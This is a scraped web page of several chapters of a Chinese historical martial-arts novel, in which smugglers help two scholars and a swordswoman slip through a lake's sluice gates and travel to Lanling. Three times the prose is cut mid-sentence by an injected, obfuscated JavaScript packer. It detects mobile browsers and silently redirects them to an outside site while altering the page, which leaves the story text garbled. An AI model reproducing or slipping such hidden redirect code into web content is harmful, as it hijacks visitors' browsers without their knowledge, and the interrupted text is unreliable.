吴伯顿了顿,一仰脖饮光了手中的酒,将瓢拍在麻袋上,“我们的船停在西北岸的卸货处,若南北闸口的船同时出发,待北闸口船经过后,那南闸口船离得还远,届时咱们就直奔那无人的北闸口!值晚班的人急着睡觉,一般会提前离开沂水闸口,把划船的时间算在了站岗工时里,而宿迁闸口的人不想那么早去值夜,不到最后一刻也不会划船往北边去!” “所以那个人真的叫瘦猴儿……”仕渊嘟囔着望了望挂在桅杆上的小哥。 “这不是重点吧……”君实不安道,“如若赌输了呢?虽是民间义军出身,我倒是觉得这李氏军队并没有那么松散,若是南边闸口的人先行到了北边的闸口又该当何如?” 这回吴伯没答话,倒是一旁的虬髯大哥目露凶光,抬手在颈间横着划了一下。 仕渊倒抽一口凉气:“那,那动静是不是太大了?他们追查起来,我们必然脱不了干系。毕竟今晚在这骆马湖上泊船的只有我们啊!” “放心,不见血,用闷的。”吴伯不以为然地拍了拍身边的酒坛子,“这是沧望堂库藏多年的青州扳倒井。到时往那闸墙上一放,不就成了当值军士私饮烈酒、不幸失足落水吗?” 那闸口兵士们虽是敌对势力,却也是穷苦百姓出身,跟纯哥儿一样,只是所谋出路不同罢了。思及此处,君实连连摇头,正色道:“不可,此行只为解我这锁链,怎能无端害人性命?如若赌输了,我们打道回府便是,他日再另作打算。” 众人闻言皆是一怔,齐刷刷地望向仕渊,等待他的答复。 仕渊甚是为难。他虽是此行的筹备者,却万万没想到沧望堂下手这么黑,只得靠在窗框边托着腮,极力思索权衡。 “你这书生怎地敌我不分!”一个女声自船尾传来。 仕渊和吴伯尚未说话,倒是燕娘先坐不住了。 她掀开帘子进来,对君实劈头盖脸道:“李氏红袄军与蒙人狼狈为奸,助纣为虐,进犯国土草菅人命,死不足惜!你若这般菩萨心肠,干脆出家算了,还考什么功名做什么官?” “他们草菅人命的确罪大恶极,难道我们此番为达目的戕害他人,就无可指摘吗?” 君实也不遑多让,“都是爹生娘养,不过各为其主罢了。两方交恶,沙场上自有定数,怎可将国仇雪恨于几个无辜兵卒身上?况且天下局势瞬息万变,你若真要论敌我,此番招安事成,他日李氏便是同仇敌忾的盟友!” 君实言之凿凿,但他浑然不知,让燕娘发这么大火的根本不是国仇,而是家恨。 她哪在乎沂州是否能到、锁链是否能解,她只想早日完成自己的约定,也好早日了结掉蔡锐那厮。 “好,那我们不谈李家军。”燕娘强压怒火道,“我们眼下与沂州只有一水之隔,你可知是动用了多少人、费了多大力气才换来的?凭你一句‘打道回府’便让这一切付之东流,你对得起你家少爷吗?” “哎我在呢!”仕渊在窗后挥了挥手,粲然一笑。 他见君实方才还据理力争,现下却被问得手足无措,便打起了圆场: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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燕娘拿过剑,细细地抚摸着剑身,仿佛指尖擦过的不是一把利器,而是自己的心上人。 那剑鞘乃是白檀纯银所制,上嵌羊脂玉,侧坠绿丝绦。抽出几寸剑身来,霜锋白刃如薄冰一般,寒光毕现。 她纳剑入鞘,蹲在窗板下背过了身,将剑紧紧抱在怀中,好似一松手,那剑便会自己飞走。 仕渊见她双肩颤动,似是在啜泣,便叹了口气,宽慰道:“燕娘不必太过担忧。秦大人只是去和谈,又不是去打仗,过几日我们就去益都与他会和了……” 他走向窗板处,本想给燕娘递个帕子,不料迎面撞上了倒翻过来的瘦猴,掏出来的帕子只得先拿来擦瘦猴的口水了。 瘦猴也吃痛,险些从棚顶倒栽进水里,嘴里还不忘道:“北闸口十八个夜猫子开拔了。” 他边揉脸边爬回了桅杆上继续观望,不一会儿又向吴伯报道:“南闸口十二个,也开拔了。” 仕渊好奇地跃上棚顶,猫在瘦猴身下瞭望了一番,然而四周黑黢黢一片,除了尽头湖岸处忽明忽暗的零星灯火以外,什么也看不见。 难不成这瘦猴还是个千里眼? 仕渊不禁对他刮目相看,又听“千里眼”道:“北边夜猫子与此船持平,相隔七里,南边的刚入湖口。” “好!” 吴伯一拍大腿,“起手开了张好牌!牛大牛二,降桅杆,我们也开拔!” 沂水近在咫尺,赌局即将开始。 23.星参北斗逐月芒,酒酲踏歌敬沧望(上) 骆马湖横竖约二十里出头,南北通透,北面沂水闸口几乎是正对着南面宿迁运河闸口,位于湖中轴线偏东。 漕船形状扁平狭小,现下时值月末,湖面夜黑风高,熄灯降下桅杆后宛如隐身了一般。加之有秦怀安所在的客船遮挡,即便岸边有人巡逻,轻舟细蒿也极难被察觉。 瘦猴站在棚顶,一丝不苟地盯着那湖面。牛大牛二降下桅杆后,船不声不响地离开了队伍,向北闸口移去。 船舱里只剩了一名矮个子蒿工。旁人都在忙活,他却翘着二郎腿,躺在麻袋上好生自在。 吴伯拍了拍他,小声问:“东西带齐整了没?” 那人闻言,拉开半边衣襟,亮出了藏在里面的几把金钩,一双眯眯眼笑得甚是狡黠。 “呱呱叫!”吴伯笑道,“一会儿闸口的锁头就交给你了!” 对付红袄军,吴伯有得是办法,怕只怕好不容易到了闸门前,却奈何不了绞盘上的锁。届时进不了沂水不说,稍有耽搁,便会被换岗的士兵堵截,抓个现行。 所以,这来历不明的眯眯眼被请上了船。 众人一边悄声撑船,一边张望着远处轻舟上的灯火,目送北闸口散值的军士们越走越远。 谁知那灯火尚未飘至湖心就停下了,而漕船离北闸口还有大段距离。前不着村后不着店,两只船就这么在水上僵持着,相隔不到一里。 月色晦暗,湖畔蛙鸣阵阵,远处黑暗中的灯火如鬼眼注视。 也不知是船中人发现了他们,还是船本身出了什么问题,总之再这么耽搁下去,那南闸口的船就要驶过来了。漕船上众人冷汗连连,死死地盯着那灯火处,大气都不敢喘一口。 吴伯见那船许久没动静,悄声道:“瘦猴,他们干嘛呢?怎地停在那儿了?” 瘦猴儿摆了摆手回道:“别盯啦,船上人往湖里撒尿呐!正比赛谁射得远——好家伙,还得是那胖子!” 所有人都松了一口气,瘦猴儿却紧接着道:“坏了,南边的快到湖中心了!” 短短几个字,众人立刻又慌了起来。现下两船离得如此近,若是摇橹行快船的话声音太大,势必会引起北闸口船上军士的注意。 这时,燕娘小声对吴伯道:“船家,你且撑蒿尽量向北岸靠。我轻功好,先行过去,一剑斩了闸口锁头,为诸位争取时间。” 说话间,她亮了亮手中的宝剑“释冰”。 “不可!”吴伯回道,“红衣兵见锁头断了必定会盘查,到时候被他们发现少了一艘船就麻烦了!” 燕娘心急,但眼下南边的小舟越来越近,来不及从长计议。她指向那眯眯眼,冷然道:“那我就借此人一用!” 她一把将眯眯眼的头巾薅下来堵进他嘴里,拉过他的胳膊搭在自己肩头,又把住他的腰,将人死死扣在身侧。 见眯眯眼被姑娘揽入怀中,众人甚是艳羡,直到这姑娘从船首纵身一跃,才庆幸负责溜门撬锁的不是自己。 眯眯眼在空中张牙舞爪,却无从发声。燕娘抓着他的裤腰带,几个蜻蜓点水后便消失在了黑暗里。 吴伯方才见识过燕娘的功力,拿起竹蒿捅着几个目瞪口呆的船工,悄声呵斥:“看什么看!那边儿撒完尿走人了!” 众人连忙撑起蒿,向闸口靠近,待那轻舟走远后又换了橹,一顿猛摇后来到了闸口处。 燕娘与眯眯眼已先行将绞盘锁同闸门打开,却奈何不了闸门后那绞关石。 船首的牛大牛二见状,一人抄起一根蒿杆撑在水里,借力跃上了翼墙,虽体壮如牛,却身轻似燕。二人来到绞关石前,将蒿杆折断插入绞盘,开始发力。 瘦猴也跃上了翼墙,回首远眺后慌道:“南边夜猫子距闸口只剩七里!” 众人望向船后,果然见到远处湖上又有几只灯火在慢慢逼近。 更不巧的是,此时闸墙上传来“噼”地一声,紧接着又是一声闷响。原来是那绞盘太沉,蒿杆竟被推折了,好不容易抬起的绞关石又落回原位。 “快!把船先横进闸墙里去!”吴伯赶忙道,“瘦猴,你把橹卸下来一个给牛大牛二!” 未等瘦猴儿动身,闸墙上的燕娘已然跃回船上,拔剑出鞘,手起刀落间将船橹末端砍下两截来,扔给了牛大牛二。 船“躲”进了闸墙内侧,闸门落下,漕船终于“消失”在骆马湖上。 “小五,锁闸!其余人倒沙子,断了他们的去路!” 吴伯一声吩咐,船工们各个从绑腿里抽出匕首开始划沙袋,将沙土贴着闸门倾倒于船外。燕娘也不含糊,从怀中抽出宝石匕首,仕渊、纯哥儿也来帮忙,没多久便将剩余沙土倒了个一干二净,漕船也浮起许多。 这一举动是为以防万一。值夜军士小船吃水浅,沙子堆积在闸门内侧,虽搁浅不了轻舟,但要想抬起闸门却需费点时间,即便他们发现漕船踪影,也断然追不上了。 而那泥沙会顺着闸门木头的缝隙,缓慢地被水流冲至另一侧,不肖几个时辰便能消耗殆尽,仿佛什么都没发生一般。第二日清早换值之际,漕船还能再回到骆马湖内。若是当值人员有排查水闸的习惯,也只会当是河沙淤积,堵住了闸口。 见牛大牛二已将眼前绞关石抬起,吴伯终于面露喜色,发令道:“瘦猴儿,升人字桅!小五,抛纤绳!剩下所有人给我使出生娃的劲儿,把船拉进沂水!” 瘦猴儿与眯眯眼得令,从闸墙上跃至棚顶,纯哥儿也跟着五名力士跳上岸,拉起纤绳,齐齐发力。 牛大牛二见漕船已过绞关石,赶紧抽出绞盘上的半根橹,跳下翼墙撒腿便追。 船上的配重已尽数卸下,本就轻快。牛大牛二扛起纤绳的那一刹那,船风驰电掣地“飞”了起来。 瘦猴儿在棚顶探着方向,吴伯立于船头撑着蒿。岸上众人一路小跑,漕船一路“水上漂”,不一会儿便将闸口远远地甩在身后。 仕渊扒着船舷,迎着沂州的夜风张狂大笑——吴伯这老东西,赌赢了! ------------------------------------- 瘦猴儿指挥着六名力士继续向北逐月而行,舱内人则摸着黑小酌庆祝。 吴伯喝高了就开始讲故事。他本是太湖渔民,后来进了大宋水师,曾跟着仕渊外公指挥过黄州几场战役,告老还乡后又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786236|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被沧望堂纳为幕僚,一干就是十余年。 “这次幸亏有女侠救急,不然我们怕是还在骆马湖上打转呐!” 吴伯斟了满满一瓢酒敬给燕娘。仕渊见她连手都未抬一下,便接过酒道:“修行之人,不沾荤腥,怕是也不吃酒罢!扳倒井太烈,不如我替她——” 话音未落,燕娘抢过酒瓢,一饮而尽。 吴伯连连夸赞:“女侠酒量惊人,又有神功盖世,不知有何名号?” 仕渊与燕娘相识有些时日了,却对她知之甚少,于是洗耳恭听。 燕娘指尖掸去嘴边酒水,淡淡道:“我不曾行侠仗义,‘女侠’二字愧不敢当,更无甚名号,不过是林家班一卖艺的,称我‘燕娘’便可。神功更是子虚乌有——人食五谷,肉体凡胎,何来的绝世神功一说?话本上博人眼球的戏言罢了。” “姑娘太过谦虚了,你这番说辞也就骗骗这俩书生,可瞒不过老头子我!” 吴伯酒醉,兴致来了便不依不饶,“天下习武者芸芸,但十挂九腥,没几个真功夫!你方才带着个大男人还能水上漂,可见内功不俗。都说招式易学,内功难修。酒肉穿肠过,靠得多是蛮力,只有少数佛门道家才会注重内功修为。我若是没看走眼,姑娘多半也是道家修士,不知师承何门何派?” 燕娘拗不过吴伯,便背书似地道:“师尊她清净修行,只治病救人,不行走江湖,所居之处亦不过七十二福地偏远一隅,不足为道。若非要追究门派师承,本门奉香云鹤派,外功与全真教同根同源,内功承继清净派,修得是太上飞行九神玉经。不知前辈有何见教?” 吴伯自然是无甚见教,仕渊更是连听都没听懂,只当她是半个道姑。 倒是纯哥儿当过几年道童,又是个自来熟,兴冲冲地接了话:“我知道!云鹤派,尊得是何仙姑!难怪大姐你会飞——” “啪!”他话还没说完,脑瓜上又挨了一瓢。黑暗中看不清是谁下的手,也看不清燕娘此时的表情。 纯哥儿抱头骂骂咧咧,仕渊赶紧扔了那酒瓢,抬手间碰到了燕娘手中的剑,提议道:“我看这‘释冰’品相不凡,不如你用在君实那锁链上试试看?” 燕娘并未推辞,她将君实拉至船首,借着稀薄的月色,抽出宝剑,照着那锁链就是“铮铮”两声。 寒光乍现,剑气横生,但那锁链自然是毫无动静。君实早就料到了是这结果,忍着痛又坐回了舱内。 吴伯见状,奇道:“这鬼玩意也真是邪门,究竟哪儿来的?又是哪个不长眼的套在小哥身上的?” “是我套的,我当时也只当是个寻常铁链。至于是哪来的……” “不长眼”的仕渊抱怨道,“还不都是那个海沙帮!‘鬼门关’的东西也敢往回带,不怕折了阳寿!” 君实忽地想起了什么,反问道:“吴伯,你不是沧望堂十几年的老前辈吗?晚辈听说海沙帮出自沧望堂,不知吴伯跟那些人是否认识?” 吴伯斟酒的手突然停下,与身旁的虬髯力士相互对望。 “你问我是否认识?” 他朗声大笑,“你眼前这艘船上的汉子们,可全是海沙帮的人呐!” 24.星参北斗逐月芒,酒酲踏歌敬沧望(下) 吴伯饮尽手中的酒,将瓢一扔,拍了拍虬髯力士,道:“这位姓彭,人称‘彭铁锤’,沧望堂的造船师傅,也是海沙帮的押工。没有他,海沙帮的船顶不了几天!” 方才还凶神恶煞的彭铁锤,现下腼腆地对众人点了点头。 吴伯又指了指棚顶道:“瘦猴曾是你外公亲点的阿班,专门负责瞭望,是海船的眼睛,也负责桅杆帆索。后来跟我来了沧望堂,又加入了海沙帮。没有他,海沙帮的大旗张不起来!” 棚顶的瘦猴儿闻声,单脚勾在桅杆上倒吊下来,在窗外抱拳道:“侯三杆在此,幸会,幸会!” 言必,他身子一卷,又回到了棚顶。 “为什么叫‘三竿’?”仕渊打趣道,“难道跟我一样,经常睡到日上三竿?” “非也,是因为海船上一般有三个桅杆……” 吴伯打了个酒嗝,“这名是我后来取的。他无父无母不知名姓,参军时随便报了个‘侯寿’,只因街上乞儿打小就叫他‘瘦猴’。” 他又指了指船外:“牛大牛二是海船上的舵工,千斤重的锚仅靠他兄弟俩就能拉起。剩下的四人都是海沙帮第一甲的水手。” “那位叫‘小五’的呢?”仕渊看了眼坐在角落的眯眯眼道,“难道海船上还需要溜门撬锁的不成?” 不等吴伯回话,那眯眯眼自行站了起来,行礼道:“在下时小五,乃‘两河盗圣’时不讳的弟子。师父说了,陆公子上次从涌春楼索唤来的大官羊,甚是美味,食之难忘。偶然听闻沧望堂为陆公子四处搜罗人才,准备闯闸口,师父便让我来帮个忙!” “原来是盗圣门下高徒,小可实在荣幸之至!”仕渊斟酒,敬了时小五,“他日回扬州,定要在涌春楼设宴,好好招待诸位!届时还望小五兄请师父一同赏光,将涌春楼菜肴品尝个遍!” 仕渊一一敬了沧望堂诸位,没多久,满满一坛扳倒井已经见底,众人再度聊了起来。 “吴伯,我还有一事不解。”仕渊问道,“听说海沙帮是自立门户,那诸位兄弟怎的不在海上逍遥,倒跑回来任沧望堂驱策了?” “此事说来话长……堂主本不让我们提这事,但既然与锁链有关,我就如实相告吧!” 吴伯抚着秃脑袋道,“那自立门户的海沙帮帮主,正是我曾经的学徒,原名沈幼谦,后来母亲改嫁至扬州又姓了梅。” 梅幼谦?仕渊心道,怎地听上去像“没有钱”? 吴伯似是看穿了仕渊的心思,打趣道:“这孩子人如其名,的确是个破落户,但毕竟读过书,跟我们这般匹夫不同。我这辈子带过兵也收了不少徒弟,学得都是行船的本事,但只有他,看得懂针经、测得了星斗,还绘得一手好图式。近年来淮扬一代漕运生意不好做,这孩子不愿混日子,胆子又大,八年前便带着沧望堂二十来个年轻人去了明州港,驶那远洋商船,跟番人们打交道…… “我这徒弟出息啊!沧望堂一百三十五年来,他是第一个驶远洋商船的,出海时也就跟小六爷你差不多大!唉,若我年轻个三十岁,也想跟他出海闯一闯!” 吴伯叹了口气,“可惜,他若一直当个船主做点生意便罢了,每次回来还能带点舶来玩意孝敬孝敬咱,但谁知两年前……” 不知是酒酣不适,还是说到了伤心处,吴伯话说到一半停了下来,垂首不语。 一旁的侯三杆见状,抢过话头道:“两年前,我们照例运货去高丽,眼看还剩个把时辰就到礼成港了,却出了事故!那日雾格外大,谁知海上忽地出现了一群四处乱窜的小渔船,把我们船底撞出个窟窿来!” 腼腆的彭铁锤也接道:“当时我查验后,决定就近停靠准备修缮。我们一甲船员们留守商船,帮主带着二甲几个船员走陆路去礼成港采购木材。他没走几日,我们就听说蒙古人打来了,所过之城无不攻克占领,所见之人悉数屠戮殆尽。” “实在骇人!”仕渊诧道,“可怜高丽弹丸小国,跑也没处跑,躲也躲不久,南渡的话也只能跳海了。幸好你们有商船,能救几个是几个啊!” “有船也没用!”侯三杆插言道,“船底破了个大窟窿,帮主又没带木材回来,横竖都是死!” 彭铁锤继续道:“是啊,帮主走了十日都没有消息,而蒙人已经打到了开京,离江华湾只剩不到五十里地!就在我们商量准备弃船逃亡时,帮主回来了。” “但二甲的五个兄弟没回来!”牛大忿忿道,“跟着帮主回来的,是个姓崔的高丽质子,还带了十几名护卫,个个是高手。” “质子?”君实不解,“一般做质子的都是世子,但高丽世子不应该姓‘王’吗?” 牛二瓮声瓮气道:“那质子被帮主所救,自称‘崔庆烈’,汉话说得挺溜,为人也挺豪爽,一照面就将船给补好了,还给了咱们许多金银财宝作答谢。世不世子咱也不知道,想来定是个王公贵胄,具体咋回事儿咱也不好细问!” “帮主见他们没地方去,就留在了船上,很快便与我等称兄道弟。后来,因为船逾期未归,又被查出私带他国在逃质子,商船被市舶司没收了公凭,我们一船人也上了案宗。正经生意是做不下去了,在崔庆烈的撺掇下,帮主一不做二不休,从港口劫回了商船带着我们贩私货,这才打起了‘海沙帮’的旗号。” 彭铁锤讲得认真,仕渊似是在听传奇话本一般,津津有味。 “走私除了得有货,还得能找到买家。我们一开始委托坤珑堂,但结果不尽人意。” 彭铁锤连连摇头,“船在海上一漂就是数月,几十张嘴很快就没饭吃了。那高丽质子平日奢靡惯了,不出几个月便开始在东海南海强取豪夺,而帮主总是睁一只眼闭一只眼地纵容他,任由他拉帮结派。 “很快,船上番人越来越多,海沙帮由一艘船变成了五艘,干的勾当却越来越见不得光。 “我们最初这十来个船员实在不愿行不义之举,去年便自请下船。那质子一开始要砍了我们以绝后患,但帮主念及过往情谊,极力劝说后自断一臂,我们这才安然无恙地回了扬州。” 侯三杆紧接着道:“大伙儿想重回沧望堂,我便舔着脸去求吴伯帮忙,吴伯又去求堂主,堂主说得看我们够不够诚意。” 他一仰脖,干尽碗中酒,“这一趟闯闸口,便是弟兄几个的投名状!” ------------------------------------- 此时已是后半夜,漕船沿着沂水一路北上。虽是逆水行舟,但谈天说地间,船已进入了沂州地界,随后停泊在了兰陵县外几十里处。 临别之际,酩酊大醉的时小五拉开两侧衣襟,亮出了纳在里衣的各色工具。仔细一看,竟还有把铁锤。 “你一溜门撬锁的,带这铁锤做何用?”仕渊哂笑道。 “别紧张,我们向来只暗偷,不明抢。金钩不好使,就只能用铁锤砸喽!” 时小五扯下工具硬塞到仕渊手中,坦胸露怀道:“兄弟行走江湖怎能手无寸铁?给你给你,都是你的!” 吴伯不知从哪拿了个背篓递给仕渊,嘱咐道:“日用和钱粮三爷都给你们备好了,省着些用。沧望堂的本事到地上就不好使了,烦请燕姑娘多担待。沿河北上就是兰陵县,以后的路,就靠你们自己了!” 他指了指头顶浩瀚的星河,“那是北斗七星。春生斗柄指东,夏长斗柄指南,日出东方,水流东南。人心鬼蜮难测,但天地万物不变,若是迷失了方向,便抬头看看天。若真到山穷水尽之时,赌一把也无妨!” 仕渊点头铭记,与诸位一一拜别。 相处时间虽短,但同吃一瓢酒,同乘一艘船,相逢便是缘,好兄弟来日方长。 他举手挥别启行的漕船,不禁又唱起了那纤夫号子:“前路险呦缓行舟,河神显灵莫发愁!硬脊骨嗬低下头,灶王来年笑着走!” 船上的人回道:“天欲雨来泥满江,龙王翻身雾茫茫。路走稳咯粮满仓,菩萨过境人来扛!” 悠扬的歌声消失在了夜色里,天地再度寂寥。 对几位少年人来说,眼前的路如同这漫无边际的黑夜一般,充满了未知和不安。 一行人便沿着水流声向北走,却迟迟不见那兰陵县城。偶尔能碰到的岔路口,却似是一条阴阳路,不知通往村庄还是匪巢。 火折子明明灭灭,很快就被这妖风消耗掉了两只,为了省火,四人只得摸黑慢步前行。 仕渊从未走过这样的夜路,总觉得四个人走出了五个人的脚步声。四下漆黑一片,即便摩肩接踵也看不清对方的脸,他只能在黑暗中找个背影紧紧跟着,暗自羡慕侯三杆那双“暗夜千里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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仕渊坐起身,听了片刻仍是一头雾水,便悄悄地靠近了些,轻声试探道:“燕娘?” 燕娘没有回应,口中呓语愈发痛苦。 碍于男女之别,仕渊也不好摇醒她,于是学着秦怀安的口吻,在她耳畔唤道:“燕儿?” 燕娘蓦地睁眼,见一张脸与自己咫尺之隔,惊得周身一觳觫,一不留神滚落到阑干外侧。 “你要作甚!” 燕娘将剑横在身前,爬起来的速度比摔下去的还快。 仕渊被吓得跌坐在地,隔着阑干呛声道:“小爷见你梦魇好心叫你,姑娘何必刀剑相向?” “那你离得那般近作甚?”燕娘放下剑掸了掸衣衫,“孟浪!” “究竟是谁孟浪?”仕渊有些搓火,“咿咿呀呀说梦话,扰人清梦!好生唤你你不醒,一声‘燕儿’立竿见影,究竟是梦见谁了?” 一旁的君实似是被吵醒了,翻了个身抱怨道:“扰人清梦的是你吧!” 燕娘见状,将仕渊扯到了凉亭之外。 苇草依依,水声潺潺。她的气消了不少,小声问道:“我……说梦话了?” “放心,反正说得不是他秦怀安!”翻了个白眼,仕渊讥诮道。 “莫同我玩笑。”燕娘语气严肃,“你究竟听见我说什么了?” “别那么凶嘛,横竖我也打不过你!”仕渊努了努嘴,坦言道,“其实我也没怎么听清,你好像一直在重复一句话……” “什么话?” 月色旖旎,仕渊回忆着那梦中呓语。良久,他窃笑道:“姑娘怕是大半夜的,馋了!因为你一再地说:‘阿民,鹅呢?阿民,鹅呢!阿民啊!我的鹅呢!?’” 他有样学样,却越学越走样,最后干脆甩起了袖子,活像一只刚被放出来的大鹅,扑腾着翅膀在河边跑,甚是欢脱。 燕娘没好气地瞪着他,不经意间,她抬手遮面,银白剑鞘后的双眼弯似月牙。 素来冷面相向的她,竟破天荒地笑得花枝乱颤,停不下来了。 待那河边的“阿民”追完“鹅”回来后,她才微微正色道:“我说得应当是‘阿敏’,和‘额涅’。” “啊?”仕渊喘着粗气,“那是什么口音?” “不,无甚。” 望着月亮,燕娘笑靥俦丽,俨然又是那晚骷髅幻戏中,坐在纱绫上荡秋千的“丽妃”。 “我看陆公子你还蛮精神的。天快亮了,去兰陵城再好好休息吧!” 25.兰陵一曲琥珀光,暖雾沉浮浸香汤(上) 前夜黑灯瞎火摸索了半天的兰陵城,原来就在河畔凉亭的西边,不过一炷香的脚程。 兰陵相关的词曲曾在大江南北唱得火热,蒙人南下后,人烟愈发稀少。唐时修葺的古城如今已雨井烟垣,唯有那美酒琥珀光依旧浓烈,刚过护城河,就能闻到漫天的酒香。 仕渊去交引铺换了几吊铜钱后,直奔东街酒厂打了两坛酒。四人往城南朱堡村“饭口”走去,路过荀子墓时,君实还不忘祭拜了一下。 所谓“饭口”,就是供客商吃饭打尖的几条巷子。纯哥儿本就在沂州一带长大,好不容易回到故乡,一再推荐当地特色的炒鸡,四人便钻进了一家“王干娘炒鸡店”。 店内满是烟火气,干姜焦蒜混着陈豉味,呛得人睁不开眼睛。但那炒鸡是香得紧,就着口新沽的酒,吃得两个淮扬人大汗淋漓,直呼痛快。 纯哥儿伺候好了君实,自己大快朵颐地打扫着残羹剩饭,燕娘则静静坐在一旁,筷子挑着面前臭盐豆里零星的萝卜干。 “兰陵美酒郁金香,玉碗盛来琥珀光。” 美酒被破陶盏映得乌漆嘛黑,哪里来的琥珀光?周围食客个个对碗闷,只有仕渊朝圣似地吟起了诗。 隔壁茶肆内一对父女唱着苍山花鼓调,浓重的方言让人一时摸不着头脑。细细听来,讲得似乎是兰陵王入阵的故事,紧锣密鼓,催得食客一盏酒未尽,又添一盏。 “昨夜扳倒井,今朝琥珀光,是不是再过两日你就能御风了?”君实被那花鼓调吵得心烦意乱。 “这里酒劲还挺大,再这么喝下去,御风怕是不能,驾鹤倒是一眨眼的事儿!” 仕渊放下酒盏,“吃喝玩乐、品味风物皆是次要事,别忘了我们此行的目的。燕娘,我们现下出了大宋,秦大人也给你请出来了,是时候兑现诺言了吧?” 燕娘放下筷子,呷了一口牛蒡茶,泰然道:“金蟾子下落,早在你放风筝那日,我便已告知。” “你只说让三叔带我们过沂水后到兰陵即可……”仕渊顿了顿,恍然大悟,“你的意思是,金蟾子就在兰陵?” “不错,只不过不在人间。” 纯哥儿叼着的大鸡腿“啪”地一声落到盘子里。哑然失色间,又见燕娘抬手,指着窗外北边天际的群山道:“就在那片仙境之中。” “大姐恁说话怎还大喘气呢!”纯哥儿捡起鸡腿,咂摸着嘴道,“恁听谁说得那是仙境?那不就是蒙山嘛!” “是金蟾子自己说的。”燕娘不以为意,“他说他坐镇蟾螳宫,就在蒙山众仙搭戏台、天壶倾玉液之处,且常年有仙雾缭绕,乃王母后花园、神龙聚会地。不是仙境是什么?” 纯哥儿嗤鼻道:“恁是根本没去过蒙山吧?那蒙山道门就一处玉虚观,属泰山派。风水是不差,但哪有恁说得那么神叨!” 君实冲纯哥儿道:“话不能说得这么绝对,你毕竟不生长在蒙山脚下,又久未归乡,难免孤落寡闻。” 他唤来了那开店的王干娘,行了个礼道:“店家,你可知蒙山一带,是否有个蟾螳宫?又是否听说过有个叫‘金蟾子’的道人?” “啥子?啥宫?” 王干娘眉头皱成个‘川’字,又听君实重复了一遍,才回道:“俺搁这儿窝了大半辈子,从来木听过!” “那这蒙山道士住的宫观福地,除了玉虚观,还有哪几处?”君实追问道。 “还有几个庙,住得都是秃噜瓜子的和尚!还有个庵,住得都是女修!” 王干娘拭着汗道,“但蒙山倒旦是个名山,来来往往的道士海了去了,随便扒个洞都说是个福地,这恁得问玉虚观,白问俺!过了北边的河向西,有个像王八的山,可高咧,山脚下就是玉虚观!脚拇丫得走两天,车马一天就到,饭口南北都有赁驴铺!” 干娘嘴皮子利索得紧,撂下话扭头就忙活去了,留下君实与仕渊相顾无言。 “俺就说嘛!就一个玉虚观!” 纯哥儿的乡音被王干娘给带出来了,一脸鄙夷地看向燕娘:“而且要说泰山派,那算半个皇亲国戚,就一个特点——有钱!泰山派的道士怎会穿破衣烂衫?又怎会连个铁索都买不起?要么是恁被骗了,要么就是恁别有用——” 话音未落,仕渊在桌子底下给了他一脚。但纯哥儿话糙理不糙,三人齐齐望向燕娘,一张木头桌上仿佛生出了楚河汉界。 “所以你不仅知道金蟾子,还亲眼见过他、亲口同他说过话?”君实声音依旧和气,“姑娘可否告知详实?” “确实,我不仅同他说过话,而且同他也算患难之交。”燕娘望向窗外,忧伤无奈在眉宇间一闪而过,似在回忆着什么。 她放下茶盏,回头望着三人,嘴唇翕动,却还是讳莫如深:“此事无关金蟾子下落。这人虽惯爱说大话,但我知道,他不会骗我。” “姑奶奶啊,事到如今了还有啥可隐瞒——俺娘嘞!”又挨了一脚,纯哥儿总算闭嘴了。 “没听你姑奶奶说吗,此事无关金蟾子下落,瞎打听什么!”仕渊呵斥道,“人家都说了,金蟾子就在蒙山!蒙山大了去了,就算没有蟾螳宫,还不能有个蟾螳洞吗?去玉虚观找那些道士们打听打听便是!” 他收起酒坛子,鼻尖抖了抖,又凑到君实和纯哥儿身上嗅了嗅,随后蹙眉捂鼻道:“你们俩!究竟多久没洗澡了?” “记不清了,我打从上回休沐就没洗过!”纯哥儿道,“四爷那里烧不了水也没浴桶,先生不方便出门,这近一个月来便没沐浴过……” 他挠挠头,怕少爷责怪自己,又委屈道:“但我平时都有好好给先生擦拭身体!上上下下、里里外外……” “咳嗯!” 君实猛咳一声瞥了眼燕娘,又红着耳根低头闻了闻自己,最后沉默了。 “行了行了我知道了,总之你俩快包浆了!” 仕渊白了一眼纯哥儿,转身面向嘈杂的众食客,高声问道:“干娘!你这儿可有香水行?” “有!”干娘的声音自烟火中传来,竟盖过了隔壁花鼓戏,“巷子最里面冒烟的院子就是!” ------------------------------------- “男宾三位,女宾一位!” 铜钱入盘,长恭浴亭的颡叫子一声吆喝,来了个粉面侍者,将燕娘引向挂着“芙蓉面”字牌的珠帘前,又带着陆园的三位进了写着“沉浮将”的屏风后。 为了赚钱,兰陵饭口许多店铺都蹭上了文人武将的名气。前有那“太白酒肆”,后有这“长恭浴亭”,说是在此沐浴者,“男子俊似兰陵王,女子俏比武媚娘”。 浴亭院子不大,左右两个廊庑连着东西两间澡堂,男女各一边。台基下蹲着灶工,不停地往灶口续着石炭,青烟与水气袅袅腾空,庭院里坐满了喝茶、下棋、纳凉的宾客。 如此闲适惬意的场所,却难坏了换衣间里的两位陆姓书生。 君实难在不敢褪去大氅露出一身锁链,也不好意思穿着里衣就往浴池里钻。而仕渊平时沐浴都在自家,即便是交际场合,也都是去官浴私浴,从来没像下馄饨一般,光溜溜地与贩夫走卒共用一锅热汤。 